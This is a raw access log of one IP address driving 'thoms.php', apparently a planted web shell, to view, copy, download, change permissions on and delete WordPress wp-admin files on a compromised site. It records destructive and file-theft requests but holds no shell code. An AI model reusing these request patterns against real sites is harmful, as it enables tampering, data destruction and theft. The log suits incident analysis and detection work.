45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-discussion.php HTTP/1.1" 200 17187 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-discussion.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?chmod=edit-form-comment.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11525 "http://163.245.207.76:443/thoms.php?chmod=edit-form-comment.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?dl=network.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28988 "http://163.245.207.76:443/thoms.php?dl=network.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:52 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-delete-site.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-delete-site.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=site-health.php HTTP/1.1" 200 16038 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=site-health.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fupgrade-functions.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fuser-edit.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11425 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fuser-edit.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcustomize.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fcustomize.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /bossini.com.tw/wp-admin/update-core.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fimport.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fimport.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /thoms.php?del=import.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?del=import.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /thoms.php?del=upgrade-functions.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fwidgets.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fwidgets.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /bossini.com.tw/wp-admin/admin.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /bossini.com.tw/wp-admin/edit-comments.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=media-upload.php HTTP/1.1" 200 13462 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:53 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fasync-upload.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fasync-upload.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-sites.php HTTP/1.1" 200 12024 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:54 -0400] "GET /thoms.php?dl=media-upload.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28980 "http://163.245.207.76:443/thoms.php?dl=media-upload.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:54 -0400] "GET /thoms.php?del=load-styles.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28989 "http://163.245.207.76:443/thoms.php?del=load-styles.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=my-sites.php HTTP/1.1" 200 14121 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=my-sites.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:54 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fprofile.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fprofile.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:54 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fauthorize-application.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fauthorize-application.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:54 -0400] "GET /thoms.php?chmod=error_log&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:54 -0400] "GET /thoms.php?dl=upgrade-functions.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:54 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-upgrade-network.php HTTP/1.1" 200 12041 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-upgrade-network.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:54 -0400] "GET /bossini.com.tw/wp-admin/network.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:54 -0400] "GET /thoms.php?dl=ms-upgrade-network.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?dl=ms-upgrade-network.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:55 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=admin-ajax.php HTTP/1.1" 200 13870 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=admin-ajax.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:55 -0400] "GET /thoms.php?del=erase-personal-data.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=erase-personal-data.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:55 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=import.php HTTP/1.1" 200 15051 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=import.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:55 -0400] "GET /thoms.php?chmod=upload.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11517 "http://163.245.207.76:443/thoms.php?chmod=upload.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:55 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=freedoms.php HTTP/1.1" 200 13716 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=freedoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:55 -0400] "GET /thoms.php?chmod=menu-header.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=menu-header.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:55 -0400] "GET /thoms.php?del=ms-admin.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?del=ms-admin.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:55 -0400] "GET /bossini.com.tw/wp-admin/options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:55 -0400] "GET /thoms.php?del=network.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28976 "http://163.245.207.76:443/thoms.php?del=network.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:55 -0400] "GET /thoms.php?dl=ms-edit.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:55 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-users.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fms-users.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:55 -0400] "GET /thoms.php?dl=press-this.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?dl=press-this.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fadmin-functions.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fadmin-functions.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:56 -0400] "GET /thoms.php?del=widgets.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28935 "http://163.245.207.76:443/thoms.php?del=widgets.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:56 -0400] "GET /thoms.php?del=nav-menus.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=nav-menus.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:56 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-head.php HTTP/1.1" 200 12282 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=options-head.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:56 -0400] "GET /thoms.php?chmod=revision.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=revision.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:56 -0400] "GET /thoms.php?dl=options-permalink.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28989 "http://163.245.207.76:443/thoms.php?dl=options-permalink.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:56 -0400] "GET /bossini.com.tw/wp-admin/media-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:56 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=update-core.php HTTP/1.1" 200 25681 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fpost-new.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fpost-new.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:56 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fnetwork&p= HTTP/1.1" 200 12334 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fnetwork&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:56 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin%2Fjs HTTP/1.1" 200 28317 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin%2Fjs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:56 -0400] "GET /bossini.com.tw/wp-admin/about.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:57 -0400] "GET /thoms.php?del=edit-form-advanced.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?del=edit-form-advanced.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:57 -0400] "GET /thoms.php?del=export.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28992 "http://163.245.207.76:443/thoms.php?del=export.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:57 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Flink-add.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Flink-add.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:57 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fadmin.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fadmin.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:57 -0400] "GET /thoms.php?del=media-new.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28991 "http://163.245.207.76:443/thoms.php?del=media-new.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:57 -0400] "GET /thoms.php?del=link-parse-opml.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28989 "http://163.245.207.76:443/thoms.php?del=link-parse-opml.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:57 -0400] "GET /thoms.php?dl=admin.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28989 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:57 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-themes.php HTTP/1.1" 200 12017 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=ms-themes.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:57 -0400] "GET /bossini.com.tw/wp-admin/options-permalink.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:58 -0400] "GET /thoms.php?p=bossini.com.tw%2Fwp-admin&view=post.php HTTP/1.1" 200 15630 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw%2Fwp-admin&view=post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:58 -0400] "GET /bossini.com.tw/wp-admin/ms-edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:58 -0400] "GET /thoms.php?chmod=export-personal-data.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11529 "http://163.245.207.76:443/thoms.php?chmod=export-personal-data.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:58 -0400] "GET /thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fnav-menus.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11435 "http://163.245.207.76:443/thoms.php?copy=bossini.com.tw%2Fwp-admin%2Fnav-menus.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:58 -0400] "GET /thoms.php?chmod=plugin-editor.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=plugin-editor.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:58 -0400] "GET /thoms.php?del=edit-form-comment.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?del=edit-form-comment.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:58 -0400] "GET /bossini.com.tw/wp-admin/import.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:58 -0400] "GET /thoms.php?chmod=freedoms.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:58 -0400] "GET /thoms.php?del=edit-tag-form.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28990 "http://163.245.207.76:443/thoms.php?del=edit-tag-form.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:59 -0400] "GET /thoms.php?chmod=profile.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=profile.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:25:58 -0400] "GET /thoms.php?dl=install-helper.php&p=bossini.com.tw%2Fwp-admin HTTP/1.1" 200 28993 "http://163.245.207.76:443/thoms.php?dl=install-helper.php&p=bossini.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
